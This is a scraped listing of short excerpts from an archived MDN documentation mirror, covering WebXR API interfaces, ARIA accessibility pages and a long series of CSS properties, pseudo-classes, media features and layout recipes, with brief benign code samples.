... syntax var xrpose = xrframe.getpose(space, basespace); parameters space an xrspace specifying the space for which to obtain an xrpose describing the item's position and orientation.
XRInputSourceEventInit.inputSource - Web APIs
the xrinputsourceeventinit dictionary's inputsource property is used when calling the xrinputsourceevent() constructor to specify the xrinputsource from which the newly-created event is being sent.
... let event = new xrinputsourceevent("select", { frame: eventframe, inputsource: source }; if (event) { xrsession.dispatchevent(event); } specifications specification status comment webxr device apithe definition of 'xrinputsourceeventinit.inputsource' in that specification.
XRInputSourceEventInit - Web APIs
it also offers the following: frame an xrframe object representing the event frame during which the event took place.
... inputsource an xrinputsource object representing the input device from which the event is being sent.
XRPose.transform - Web APIs
WebAPIXRPosetransform
syntax let posetransform = xrpose.transform; value an xrrigidtransform which provides the position and orientation of the xrpose relative to the xrframe to which this xrpose is aligned.
...it determines the targeted object by passing the event frame's pose into a function called findtargetusingray(), then dispatches the event differently depending on the user's handedness; this is done by comparing the value of the xrinputsource property handedness to a value in the variable user.handedness.
XRReferenceSpace.onreset - Web APIs
the xrreferencespace interface's onreset event handler property can be set to a function which is called when the xrreferencespace receives a reset event, signaling that the xr device has experienced a discontinuity large enough to require that the position and/or orientation of the origin be significantly altered to compensate.
... syntax xrreferencespace.onreset = eventhandler; eventhandler = xrreferencespace.onreset; value an event handler function which will be called whenever the reset event is received by the xrreferencespace.
XRReferenceSpaceEvent - Web APIs
event types reset the reset event is sent to a reference space when its native origin is changed due to a discontinuity, recalibration, or device reset.
... this is an opportunity for your app to update any stored transforms, position/orientation information, or the like—or to dump any cached values based on the reference's space's origin so you can recompute them as needed.
XRReferenceSpaceEventInit.transform - Web APIs
the xrreferencespaceeventinit property transform indicates the position and orientation of the affected reference space's native origin after the changes the event represents are applied.
... the transform is defined using the old coordinate system, which allows it to be used to convert coordinates from the pre-event coordinate system to the post-event coordiante system.
XRReferenceSpaceEventInit - Web APIs
properties referencespace the xrreferencespace from which the event originated.
... transform an xrrigidtransform which maps the old coordinate system (from before the changes indicated by this event) to the new coordiante system.
XRRigidTransform.orientation - Web APIs
syntax let orientation = xrrigidtransform.orientation; value a dompointreadonly object which contains a unit quaternion providing the orientation component of the transform.
... examples to create a reference space which is oriented to look straight up, positioned 2 meters off of ground level: xrreferencespace = refspace.getoffsetreferencespace( new xrrigidtransform({y: -2}, {x: 0.0, y: 1.0, z: 0.0, w: 1.0}); ); the unit quaternion specified here is [0.0, 1.0, 0.0, 1.0] to indicate that the object should be facing directly along the y axis.
XRRigidTransform.position - Web APIs
the read-only xrrigidtransform property position is a dompointreadonly object which provides the 3d point, specified in meters, describing the translation component of the transform.
... example to create a reference space which can be used to place an object at eye level (assuming eye level is 1.5 meters): function onsessionstarted(xrsession) { xrsession.addeventlistener("end", onsessionended); gl = initgraphics(xrsession); let gllayer = new xrwebgllayer(xrsession, gl); xrsession.updaterenderstate({ baselayer: gllayer }); if (immersivesession) { xrsession.requestreferencespace("bounded-floor").then((refspace) => { refspacecreated(refspace); }).catch(() => { session.requestreferencespace("local-floor").then(refspacecreated...
XRSession.onsqueezestart - Web APIs
the xrsession interface's onsqueezestart event handler property can be set to a function which is then invoked to handle the squeezestart event that's sent when the user successfully begins a primary squeeze action on a webxr input device.
... examples this snippet of code adds a simple handler for the squeezestart event, which responds only to events on the user's dominant hand by getting the target ray, then calling a function findobjectusingray() to identify the object that the user is pointing at.
XRSession: select event - Web APIs
examples of comon kinds of primary action are users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer.
...the handler fetches the pose representing the target ray for tracked-pointer inputs and sends the pose's transform to a function called myhandleselectwithray().
XRSession: squeeze event - Web APIs
examples of comon kinds of primary action are users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer.
...the handler fetches the pose representing the target ray for tracked-pointer inputs and sends the pose's transform to a function called myhandlesqueezewithray().
XRSessionEventInit.session - Web APIs
the xrsessioneventinit dictionary's session property specifies the xrsession for which the event describes a state change.
... syntax let sessioneventinit = { session: xrsession }; mysessionevent = new xrsessionevent(type, sessioneventinit); mysessionevent = new xrsessionevent(type, { session: xrsession }); value an xrsession object indicating which webxr session the event is referring to.
XRViewport.height - Web APIs
WebAPIXRViewportheight
the read-only xrviewport property height specifies the height, in pixels, of the viewport onto the drawing surface within which the webxr view is to be rendered.
... along with width and the origin point given by x and y, this defines the area within which rendered content will be drawn.
XRVisibilityState - Web APIs
the xrvisibilitystate enumerated type defines the string values which are valid for the xrsession interface's visibilitystate property, which indicates whether or not an xr session is currently visible to the user, and if it is, whether or not it's currently the primary focus.
... values hidden the virtual scene generated by the xrsession is not currently visible to the user, so its requestanimationframe() callbacks are not being executed until thevisibilitystate changes.
XRWebGLLayer.framebufferHeight - Web APIs
each of the framebuffer's attachments (pixel, depth, color, and/or stencil buffers, for example) are all this many pixels tall.
... examples this snippet simply fetches the framebuffer's width and height for later use.
XRWebGLLayer.framebufferWidth - Web APIs
each of the framebuffer's attachments (pixel, depth, color, and/or stencil buffers, for example) are all this many pixels wide.
... examples this snippet simply fetches the framebuffer's width and height for later use.
XRWebGLLayerInit.antialias - Web APIs
syntax let layerinit = { antialias: boolvalue }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { antialias: boolvalue }); value a boolean value which can be set to true to request anti-aliasing support in the new webgl rendering layer.
... let options = { antialias: getpreferencevalue("antialiasing") }; let gllayer = new xrwebgllayer(xrsession, gl, options); if (gllayer) { xrsession.updaterenderstate({ baselayer: gllayer }); } offering the user features such as the ability to enable or disable things like anti-aliasing can provide them with optiions to try when your app isn't performing as well as they'd like.
XRWebGLLayerInit.depth - Web APIs
syntax let layerinit = { depth: false }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { depth: false }); value a boolean which can be set to false to specify that the new webgl layer should not have a depth buffer.
... you can determine whether or not the depth buffer is being used by a given webgl rendering layer during your xr session by checking the value returned by xrwebgllayer.ignoredepthvalues.
XSLTProcessor - Web APIs
the resultant object depends on the output method of the stylesheet: output method result type html htmldocument xml xmldocument text xmldocument with a single root element <transformiix:result> with the text as a child [throws] void xsltprocessor.setparameter(string namespaceuri, string localname, any value) sets a parameter in the xslt stylesheet that was imported.
... properties non-web-exposed properties the following properties are [chromeonly] and not exposed to web content: [chromeonly] attribute unsigned long xsltprocessor.flags flags that tweak the behavior of the processor.
msCapsLockWarningOff - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... example fiddle: http://jsfiddle.net/jonathansampson/mqcha/1/ example 2 <html> <head> <title>mscapslockwarningoff example</title> <script type="text/javascript"> function capsoff() { if (document.mscapslockwarningoff == false) { document.mscapslockwarningoff = true; document.getelementbyid("caps").innerhtml = "warning off"; } else { document.mscapslockwarnin...
mssitemodejumplistitemremoved - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... syntax event property object.oncandidatewindowhide = handler; addeventlistener method object.addeventlistener("mssitemodejumplistitemremoved", handler, usecapture) general info synchronous no bubbles no cancelable no note this event is raised once for every item that has been removed since the last time mssitemodeshowjumplist was called.
Using the aria-orientation attribute - Accessibility
possible effects on user agents and assistive technology note: opinions may differ on how assistive technology should handle this technique.
... <a href="#" id="handle_zoomslider" role="slider" aria-orientation="vertical" aria-valuemin="0" aria-valuemax="17" aria-valuenow="14" > <span>11</span> </a> working examples: slider example notes used with aria roles scrollbar listbox combobox menu tree separator slider tablist toolbar related aria techniques compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-orientation attribute ...
Using ARIA: Roles, states, and properties - Accessibility
roles widget roles button checkbox gridcell link menuitem menuitemcheckbox menuitemradio option progressbar radio scrollbar searchbox separator (when focusable) slider spinbutton switch tab tabpanel textbox treeitem composite roles the techniques below describe each composite role as well as their required and optional child roles.
...tab and tabpanel roles) tree treegrid document structure roles application article cell columnheader definition directory document feed figure group heading img list listitem math none note presentation row rowgroup rowheader separator table term textbox toolbar tooltip landmark roles banner complementary contentinfo form main navigation region search live region roles alert log marquee status timer window roles alertdialog dialog states and properties widget attributes aria-autocomplete aria-checked aria-current aria-disabled aria-errormessage aria-expanded aria-haspopup aria-hidden aria-invalid aria-label aria-level aria-modal aria-multiline aria-multiselectable aria-orientation aria-placeholder ari...
How to file ARIA-related bugs - Accessibility
the state of aria technology has always depended on the community.
... tbd: add proper accessibility markup to table genre software where to file notes screen readers freedom scientific jaws jaws technical support form gw micro window eyes window-eyes comments, questions, and feedback (email) non visual desktop access (nvda) file nvda bugs discuss nvda issues browsers apple safari file webkit.org bugs google chrome file chromium bugs microsoft internet explorer file ie bugs microsoft edge...
Forms - Accessibility
the following pages provide various techniques for improving the accessibility of web forms: basic form hints: adding hints and descriptions for invalid or required fields alerts: using alerts to provide client-side validation error messages multi-part labels: enabling complex form labels with a control inside each label see also the yahoo!
... article on form validation and aria (retrieved on archive.org), covering much of the same content.
Understanding the Web Content Accessibility Guidelines - Accessibility
each of the links below will take you to pages that further expand on these areas, giving you practical advice on how to write your web content so it conforms to the success criteria outlined in each of the wcag 2.0 and 2.1 guidelines that further sub-divides each principle.
...if you are worried about the legal implications of web accessibility, we'd recommend that you check the specific legislation governing accessibility for the web/public resources in your country or locale, and seek the advice of a qualified lawyer.
Custom properties (--*): CSS variables - CSS: Cascading Style Sheets
WebCSS--*
custom properties are scoped to the element(s) they are declared on, and participate in the cascade: the value of such a custom property is that from the declaration decided by the cascading algorithm.
... initial valuesee proseapplies toall elementsinheritedyescomputed valueas specified with variables substitutedanimation typediscrete syntax --somekeyword: left; --somecolor: #0000ff; --somecomplexvalue: 3px 6px rgb(20, 32, 54); <declaration-value> this value matches any sequence of one or more tokens, so long as the sequence does not contain an unallowed token.
-moz-image-region - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toxul <image> elements and :-moz-tree-image, :-moz-tree-twisty, and :-moz-tree-checkbox pseudo-elements.
...it will not work with xul <image src="url" />.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax <shape> | autowhere <shape> = rect(<top>, <right>, <bottom>, <left>) examples clipping an image #example-button { /* display only the 4x4 area from the top left of this image */ list-style-image: url("chrome://example/skin/example.png"); -moz-image-region: rect(0px, 4px, 4px, 0px); } #example-button:hover { /* use the 4x4 area to the right of the first for the hovered button */ -moz-image-region: rect(0px, 8px, 4px, 4px); } specifications not part of any standard.
-moz-orient - CSS: Cascading Style Sheets
the -moz-orient css property specifies the orientation of the element to which it's applied.
... syntax the -moz-orient property is specified as one of the keyword values chosen from the list below.
-moz-outline-radius - CSS: Cascading Style Sheets
formal definition initial valueas each of the properties of the shorthand:-moz-outline-radius-topleft: 0-moz-outline-radius-topright: 0-moz-outline-radius-bottomright: 0-moz-outline-radius-bottomleft: 0applies toall elementsinheritednopercentagesas each of the properties of the shorthand:-moz-outline-radius-topleft: refer to the corresponding dimension of the border box-moz-outline-radius-topright: refer to the corresponding dimension...
... of the border box-moz-outline-radius-bottomright: refer to the corresponding dimension of the border box-moz-outline-radius-bottomleft: refer to the corresponding dimension of the border boxcomputed valueas each of the properties of the shorthand:-moz-outline-radius-topleft: as specified-moz-outline-radius-topright: as specified-moz-outline-radius-bottomright: as specified-moz-outline-radius-bottomleft: as specifiedanimation typeas each of the properties of the shorthand:-moz-outline-radius-topleft: a length, percentage or calc();-moz-outline-radius-topright: a length, percentage or calc();-moz-outline-radius-bottomright: a length, percentage or calc();-moz-outline-radius-bottomleft: a length, percentage or calc(); formal syntax <outline-radius>{1,4} [ / <outline-radius>{1,4} ]?where <out...
-webkit-box-reflect - CSS: Cascading Style Sheets
to achieve reflection on the web, the standard way is to use the css element() function.
... syntax values above, below, right, left are keywords indicating in which direction the reflection is to happen.
-webkit-text-fill-color - CSS: Cascading Style Sheets
the -webkit-text-fill-color css property specifies the fill color of characters of text.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples changing the fill color css p { margin: 0; font-size: 3em; -webkit-text-fill-color: green; } html <p>this text is green.</p> results specifications specification status comment compatibility standardthe definition of '-webkit-text-fill-color' in that specification.
-webkit-text-security - CSS: Cascading Style Sheets
-webkit-text-security is a non-standard css property that obfuscates characters in a <form> field (such as <input> or <textarea>) by replacing them with a shape.
...if your browser supports this property, the characters should be visually replaced with squares.
-webkit-text-stroke-color - CSS: Cascading Style Sheets
the -webkit-text-stroke-color css property specifies the stroke color of characters of text.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples varying the stroke color html <p>text with stroke</p> <input type="color" value="#ff0000"> css p { margin: 0; font-size: 4em; -webkit-text-stroke-width: 3px; -webkit-text-stroke-color: #ff0000; /* can be changed in the live sample */ } javascript var colorpicker = document.queryselector("input"); colorpicker.addeventlistener("change", function(evt) { document.queryselector("p").style.webkittextstrokecolor = evt.target.value; }); results specifications specification status comment compatibility standardthe definition of '-webkit-text-stroke-color' in that speci...
-webkit-text-stroke - CSS: Cascading Style Sheets
the -webkit-text-stroke css property specifies the width and color of strokes for text characters.
... formal definition initial valueas each of the properties of the shorthand:-webkit-text-stroke-width: 0-webkit-text-stroke-color: currentcolorapplies toall elementsinheritedyescomputed valueas each of the properties of the shorthand:-webkit-text-stroke-width: absolute <length>-webkit-text-stroke-color: computed coloranimation typeas each of the properties of the shorthand:-webkit-text-stroke-width: discrete-webkit-text-stroke-color: a ...
:-moz-loading - CSS: Cascading Style Sheets
the :-moz-loading css pseudo-class is a mozilla extension that matches elements that can't be displayed because they have not started loading, such as images that haven't started to arrive yet.
... note that images that are in the process of loading are not matched by this pseudo-class.
:-moz-locale-dir(ltr) - CSS: Cascading Style Sheets
the :-moz-locale-dir(ltr) css pseudo-class is a mozilla extension that matches an element if the user interface is being displayed left-to-right.
... this selector does not work properly from html; it always matches, regardless of whether the ui locale is left-to-right or right-to-left.
:-moz-locale-dir(rtl) - CSS: Cascading Style Sheets
the :-moz-locale-dir(rtl) css pseudo-class is a mozilla extension that matches an element if the user interface is being displayed right-to-left.
... this selector does not work properly from html; it never matches, no matter whether the ui locale is left-to-right or right-to-left.
:-moz-window-inactive - CSS: Cascading Style Sheets
the :-moz-window-inactive css pseudo-class is a mozilla extension that matches any element while it's in an inactive window.
... note: prior to the addition of this pseudo-class, giving different styles to background windows was achieved by setting an attribute (active="true") on the top-level xul chrome window.
::-moz-range-progress - CSS: Cascading Style Sheets
the ::-moz-range-progress css pseudo-element is a mozilla extension that represents the lower portion of the track (i.e., groove) in which the indicator slides in an <input> of type="range".
... note: using ::-moz-range-progress with anything but an <input type="range"> doesn't match anything and has no effect.
::-moz-range-track - CSS: Cascading Style Sheets
the ::-moz-range-track css pseudo-element is a mozilla extension that represents the track (i.e., groove) in which the indicator slides in an <input> of type="range".
... note: using ::-moz-range-track with anything but an <input type="range"> doesn't match anything and has no effect.
::-webkit-file-upload-button - CSS: Cascading Style Sheets
this pseudo-element is non-standard and only supported in webkit/blink compatible browsers like chrome, opera and safari (indicated by the -webkit prefix).
...the screenshot to the left shows what the button will look like if you are without access to chrome, opera or safari.
::first-line (:first-line) - CSS: Cascading Style Sheets
of css properties can be used with the ::first-line pseudo-element: all font-related properties: font, font-kerning, font-style, font-variant, font-variant-numeric, font-variant-position, font-variant-east-asian, font-variant-caps, font-variant-alternates, font-variant-ligatures, font-synthesis, font-feature-settings, font-language-override, font-weight, font-size, font-size-adjust, font-stretch, and font-family all background-related properties: background-color, background-clip, background-image, background-origin, background-position, background-repeat, background-size, background-attachment, and background-blend-mode the color property word-spacing, letter-spacing, text-decoration, text-transform, and line-height text-shadow, text-decoration, text-decoration-color, text-decorati...
... recommendation no change.
::grammar-error - CSS: Cascading Style Sheets
the ::grammar-error css pseudo-element represents a text segment which the user agent has flagged as grammatically incorrect.
... allowable properties only a small subset of css properties can be used in a rule with ::grammar-error in its selector: color background-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow syntax ::grammar-error examples simple document grammar check in this example, eventual supporting browsers should highlight any flagged grammatical errors with the styles shown.
::part() - CSS: Cascading Style Sheets
WebCSS::part
the ::part css pseudo-element represents any element within a shadow tree that has a matching part attribute.
... box-shadow: 0 0 0 1px #0a84ff inset, 0 0 0 1px #0a84ff, 0 0 0 4px rgba(10, 132, 255, 0.3); } tabbed-custom-element::part(active) { color: #0060df; border-color: #0a84ff !important; } javascript let template = document.queryselector("#tabbed-custom-element"); globalthis.customelements.define(template.id, class extends htmlelement { constructor() { super(); this.attachshadow({ mode: "open" }); this.shadowroot.appendchild(template.content); } }); result specifications specification status comment shadow partsthe definition of '::part' in that specification.
:in-range - CSS: Cascading Style Sheets
WebCSS:in-range
in the absence of such a limitation, the element can neither be "in-range" nor "out-of-range." syntax :in-range examples html <form action="" id="form1"> <ul>values between 1 and 10 are valid.
... living standard defines when :in-range matches elements in html.
:invalid - CSS: Cascading Style Sheets
WebCSS:invalid
however, it does apply a style (a red "glow" using the box-shadow property) to the :-moz-ui-invalid pseudo-class, which applies in a subset of cases for :invalid.
... living standard no change.
:left - CSS: Cascading Style Sheets
WebCSS:left
note: this pseudo-class can be used to change only the margin, padding, border, and background properties of the page box.
... working draft no change.
:out-of-range - CSS: Cascading Style Sheets
in the absence of such a limitation, the element can neither be "in-range" nor "out-of-range." syntax :out-of-range examples html <form action="" id="form1"> <p>values between 1 and 10 are valid.</p> <ul> <li> <input id="value1" name="value1" type="number" placeholder="1 to 10" min="1" max="10" value="12"> <label for="value1">your value is </label> </li> </ul> </form> css li { list-st...
... living standard defines when :out-of-range matches elements in html.
:placeholder-shown - CSS: Cascading Style Sheets
html <input id="input1" placeholder="name, rank, and serial number"> <br><br> <input id="input2" placeholder="name, rank, and serial number"> css #input2:placeholder-shown { text-overflow: ellipsis; } result customized input field the following example highlights the branch and id code fields with a custom style.
... html <form id="test"> <p> <label for="name">enter student name:</label> <input id="name" placeholder="student name"/> </p> <p> <label for="branch">enter student branch:</label> <input id="branch" placeholder="student branch"/> </p> <p> <label for="sid">enter student id:</label> <input type="number" pattern="[0-9]{8}" title="8 digit id" id="sid" class="studentid" placeholder="8 digit id"/> </p> <input type="submit"/> </form> css input { background-color: #e8e8e8; color: black; } input.studentid:placeholder-shown { background-color: yellow; color: red; font-style: italic; } result specifications specification status comment selectors level 4the definition of ':placeholder-shown' in that specification.
:right - CSS: Cascading Style Sheets
WebCSS:right
note: this pseudo-class can be used to change only the margin, padding, border, and background properties of the page box.
... working draft no change.
:root - CSS: Cascading Style Sheets
WebCSS:root
the :root css pseudo-class matches the root element of a tree representing the document.
... working draft no change.
additive-symbols - CSS: Cascading Style Sheets
the additive-symbols descriptor defines additive tuples, each of which is a pair containing a symbol and a non-negative integer weight.
... the additive system is used to construct sign-value numbering systems such as roman numerals.
pad - CSS: Cascading Style Sheets
syntax pad: 3 "0"; values <integer> && <symbol> the <integer> specifies a minimum length that all counter representations must reach.
...if the minimum length is not reached, the representation will be padded with the specified <symbol>.
range - CSS: Cascading Style Sheets
when defining custom counter styles, the range descriptor lets the author specify a range of counter values over which the style is applied.
...for each individual range, the first value is the lower bound and the second value is the upper bound.
speak-as - CSS: Cascading Style Sheets
accessibility concerns assistive technology support is very limited for the speak-as property.
... let's talk about speech css | css tricks formal definition related at-rule@counter-styleinitial valueautocomputed valueas specified formal syntax auto | bullets | numbers | words | spell-out | <counter-style-name>where <counter-style-name> = <custom-ident> examples setting the spoken form for a counter html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style speak-as-example { system: fixed; symbols:     ; suffix: " "; speak-as: numbers; } .list { list-style: speak-as-example; } result specifications specification status comment css counter styles level 3the definiti...
-webkit-device-pixel-ratio - CSS: Cascading Style Sheets
the -webkit-device-pixel-ratio is a non-standard boolean css media feature which is an alternative to the standard resolution media feature.
... values <number> the number of device pixels used to represent each css px.
color-index - CSS: Cascading Style Sheets
(this value is zero if the device does not use such a table.) it is a range feature, meaning that you can also use the prefixed min-color-index and max-color-index variants to query minimum and maximum values, respectively.
... candidate recommendation the value can now be negative, in which case it computes to false.
height - CSS: Cascading Style Sheets
WebCSS@mediaheight
examples html <div>watch this element as you resize your viewport's height.</div> css /* exact height */ @media (height: 360px) { div { color: red; } } /* minimum height */ @media (min-height: 25rem) { div { background: yellow; } } /* maximum height */ @media (max-height: 40rem) { div { border: 2px solid blue; } } result specifications specification status comment ...
... candidate recommendation the value can now be negative, in which case it computes to false.
orientation - CSS: Cascading Style Sheets
syntax the orientation feature is specified as a keyword value chosen from the list below.
... candidate recommendation no change.
overflow-block - CSS: Cascading Style Sheets
syntax the overflow-block feature is specified as a keyword value chosen from the list below.
... optional-paged content that overflows the block axis can be seen by scrolling to it, but page breaks can be manually triggered (such as via break-inside, etc.) to cause the following content to display on the following page.
prefers-reduced-data - CSS: Cascading Style Sheets
note: this feature is not supported by any user agent and its specifics are subject to change.
... user preferences currently no user agent implements this feature, although various operating systems do support such preferences and if this media query is ever implemented user agents will likely rely on the settings provided by the operating system.
scripting - CSS: Cascading Style Sheets
WebCSS@mediascripting
the scripting css media feature can be used to test whether scripting (such as javascript) is available.
... syntax the scripting feature is specified as a keyword value chosen from the list below.
shape - CSS: Cascading Style Sheets
WebCSS@mediashape
rect the shape is an axis aligned rectangle or square, or a similar shape such as rounded rectangle for which the traditional designs are appropriate.
... round the shape is rounded or a similar shape to the circle such as an oval, an ellipse for which distinctively rounded designs are appropriate.
width - CSS: Cascading Style Sheets
WebCSS@mediawidth
examples html <div>watch this element as you resize your viewport's width.</div> css /* exact width */ @media (width: 360px) { div { color: red; } } /* minimum width */ @media (min-width: 35rem) { div { background: yellow; } } /* maximum width */ @media (max-width: 50rem) { div { border: 2px solid blue; } } result specifications specification status comment media queries level 4th...
... candidate recommendation the value can now be negative, in which case it computes to false.
height - CSS: Cascading Style Sheets
WebCSS@viewportheight
formal definition related at-rule@viewportinitial valueas each of the properties of the shorthand:min-height: automax-height: nonepercentagesas each of the properties of the shorthand:min-height: the percentage is calculated with respect to the height of the generated box's containing block.
...if the height of the containing block is not specified explicitly (i.e., it depends on content height), and this element is not absolutely positioned, the percentage value is treated as none.computed valueas each of the properties of the shorthand:min-height: the percentage as specified or the absolute lengthmax-height: the percentage as specified or the absolute length or none formal syntax <viewport-length>{1,2}where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting minimum and maximum height @viewport { height: 500px; } specificat...
orientation - CSS: Cascading Style Sheets
/* keyword values */ orientation: auto; orientation: portrait; orientation: landscape; for a ua/device where the orientation is changed upon tilting the device, an author can use this descriptor to inhibit the orientation change.
... syntax values auto the user agent will set the document's orientation automatically, typically based on the device's orientation as determined by an accelerometer (if the device has such a hardware sensor), although there is often a user-controlled, os-level "lock orientation" setting that will trump the accelerometer reading.
Resizing background images with background-size - CSS: Cascading Style Sheets
html <div class="tiledbackground"> </div> css .tiledbackground { background-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png); background-size: 150px; width: 300px; height: 300px; border: 2px solid; color: pink; } result stretching an image you can also specify both the horizontal and vertical sizes of the image, like this: background-size: 300px 150px; the result looks like this: scaling an image up on the other end of the spectrum, you can scale an image up in the background.
... contain the contain value specifies that, regardless of the size of the containing box, the background image should be scaled so that each side is as large as possible while not exceeding the length of the corresponding side of the container.
Using multiple backgrounds - CSS: Cascading Style Sheets
that is, the following background properties can be specified as a list, one per background: background, background-attachment, background-clip, background-image, background-origin, background-position, background-repeat, background-size.
...each subsequent sub-property (background-repeat and background-position) applies to the corresponding backgrounds.
CSS Backgrounds and Borders - CSS: Cascading Style Sheets
(additionally, element boxes can be decorated with a shadow.) reference css properties background background-attachment background-clip background-color background-image background-origin background-position background-position-x background-position-y background-repeat background-size border border-bottom border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-collapse border-color border-image border-image-outset border-image-repeat border-image-slice bor...
... scaling background images describes how to change the size and repeating behavior of background images.
Using URL values for the cursor property - CSS: Cascading Style Sheets
syntax the basic (css 2.1) syntax for this property is: cursor: [ <url> , ]* <keyword> this means that zero or more urls may be specified (comma-separated), which must be followed by one of the keywords defined in the css specification, such as auto or pointer.
..., ]* <keyword> it allows specifying the coordinates of the cursor's hotspot, which will be clamped to the boundaries of the cursor image.
Introduction to the CSS basic box model - CSS: Cascading Style Sheets
when laying out a document, the browser's rendering engine represents each element as a rectangular box according to the standard css basic box model.
... the content area, bounded by the content edge, contains the "real" content of the element, such as text, an image, or a video player.
CSS Multi-column Layout - CSS: Cascading Style Sheets
relationship to fragmentation multiple-column layout is closely related to paged media, in that each column box becomes a fragment, much like a printed page becomes a fragment of an overall document.
... handling overflow in multicol what happens when an item overflows the column it is in and what happens when there is too much columned content to fit a container.
CSS Flow Layout - CSS: Cascading Style Sheets
normal flow, or flow layout, is the way that block and inline elements are displayed on a page before any changes are made to their layout.
... the flow is essentially a set of things that are all working together and know about each other in your layout.
Using z-index - CSS: Cascading Style Sheets
the z-index property can be specified with an integer value (positive, zero, or negative), which represents the position of the element along the z-axis.
... if you are not familiar with the z-axis, imagine the page as a stack of layers, each one having a number.
Stacking context example 1 - CSS: Cascading Style Sheets
in this last example you can see that div #2 and div #4 are not siblings, because they belong to different parents in the html elements' hierarchy.
... in terms of stacking contexts, div #1 and div #3 are simply assimilated into the root element, and the resulting hierarchy is the following: root stacking context div #2 (z-index 1) div #4 (z-index 2) note: div #1 and div #3 are not translucent.
CSS Properties Reference - CSS: Cascading Style Sheets
common css properties reference the following is a basic list of the most common css properties with the equivalent of the dom notation which is usually accessed from javascript: note: this list is incomplete.
... css javascript background background background-attachment backgroundattachment background-color backgroundcolor background-image backgroundimage background-position backgroundposition background-repeat backgroundrepeat border border border-bottom borderbottom border-bottom-color borderbottomcolor border-bottom-style borderbottomstyle border-bottom-width borderbottomwidth border-color bordercolor border-left borderleft border-left-color borderleftcolor ...
CSS Scroll Snap - CSS: Cascading Style Sheets
css scroll snap is a module of css that introduces scroll snap positions, which enforce the scroll positions that a scroll container’s scrollport may end at after a scrolling operation has completed.
... reference css properties on containers scroll-snap-type scroll-snap-stop scroll-padding scroll-padding-top scroll-padding-right scroll-padding-bottom scroll-padding-left scroll-padding-inline scroll-padding-inline-start scroll-padding-inline-end scroll-padding-block scroll-padding-block-start scroll-padding-block-end css properties on children scroll-snap-align scroll-margin scroll-margin-top scroll-margin-right scroll-margin-bottom scroll-margin-left scroll-margin-inline scroll-margin-inline-start scroll-margin-inline-end scroll-margin-block scroll-margin-block-start scroll-margin-block-end guides basic concepts of css scroll snap browser compatibility and scroll snap specification specification ...
CSS Text Decoration - CSS: Cascading Style Sheets
css text decoration is a module of css that defines features relating to text decoration, such as underlines, text shadows, and emphasis marks.
...be careful when removing the text decoration on anchors since users often depend on the underline to denote hyperlinks.</p> <p class="underover">this text has lines above <em>and</em> below it.</p> <p class="thick">this text has a really thick purple underline in supporting browsers.</p> <p class="blink">this text might blink for you, depending on the browser you use.</p> specifications specification status comment ...
ID selectors - CSS: Cascading Style Sheets
the css id selector matches an element based on the value of the element’s id attribute.
... in order for the element to be selected, its id attribute must match exactly the value given in the selector.
Center an element - CSS: Cascading Style Sheets
recipe download this example choices made to center one box inside another we make the containing box a flex container.
...however, support is currently limited for box alignment properties on block layout, so currently centering using flexbox is the most robust way to achieve this.
Contribute a recipe - CSS: Cascading Style Sheets
this backup is maintained by andrew sachen of realityripple software.
... it may see periodical improvements or updates, and may eventually even be cleaned up (and de-archived) for better uxp focus, but for now, it's a historical snapshot for reference, not a living website.
Grid wrapper - CSS: Cascading Style Sheets
recipe download this example choices made this recipe uses the css grid minmax() function to define the grid track sizes in the grid-template-columns property.
... the outer two columns have a maximum size of 1fr, meaning that they will each expand to fill the remaining available space in the grid container.
Pagination - CSS: Cascading Style Sheets
this cookbook pattern demonstrates the navigation pattern used to display pagination, where the user can move between pages of content such as search results.
... recipe download this example choices made this pattern is laid out using flexbox — one flex container nested inside another.
Layout mode - CSS: Cascading Style Sheets
normal flow includes block layout, designed for laying out boxes such as paragraphs and inline layout, which lays out inline items such as text.
... positioned layout, designed for positioning elements without much interaction with other elements.
Cubic Bezier Generator - CSS: Cascading Style Sheets
<html> <canvas id="bezier" width="336" height="336"> </canvas> <form> <label for="x1">x1 = </label><input onchange="updatecanvas();" type="text" maxlength=6 id="x1" value="0.79" class='field'> <label for="y1">y1 = </label><input onchange="updatecanvas();return true;" type="text" maxlength=6 id="y1" value="0.33" class='field'> <label for="x2">x2 = </label><input onchange="updatecanvas();return true;" type="text" maxlength=6 id="x2" value="0.14" class='field'> <label for="y2">y2 = </label><input onchange="updatecanvas();return true;" type="text" maxlength=6 id="y2" value="0.53" class='field'> <br> <output id="output">log</output> </form> </html> .field { width: 40px; } function updatecanvas() { var x1...
...tbyid('y1').value; var x2 = document.getelementbyid('x2').value; var y2 = document.getelementbyid('y2').value; drawbeziercurve(x1, y1, x2, y2); } const radius = 4; // place needed to draw the rulers const rulers = 30.5; const margin = 10.5; const basic_scale_size = 5; // size of 0.1 tick on the rulers var scaling; //limitation: scaling is computed once: if canvas.height/canvas.width change it won't be recalculated var dragsm = 0; // drag state machine: 0 = nodrag, others = object being dragged function initcanvas() { // get the canvas element using the dom var canvas = document.getelementbyid('bezier'); // make sure we don't execute when canvas isn't supported if (canvas.getcontext) { // use getcontext to use the canvas for drawing var ctx = ca...
animation-name - CSS: Cascading Style Sheets
it can be used to deactivate an animation without changing the ordering of the other identifiers, or to deactivate animations coming from the cascade.
...the first non-dash character must be a letter.
backface-visibility - CSS: Cascading Style Sheets
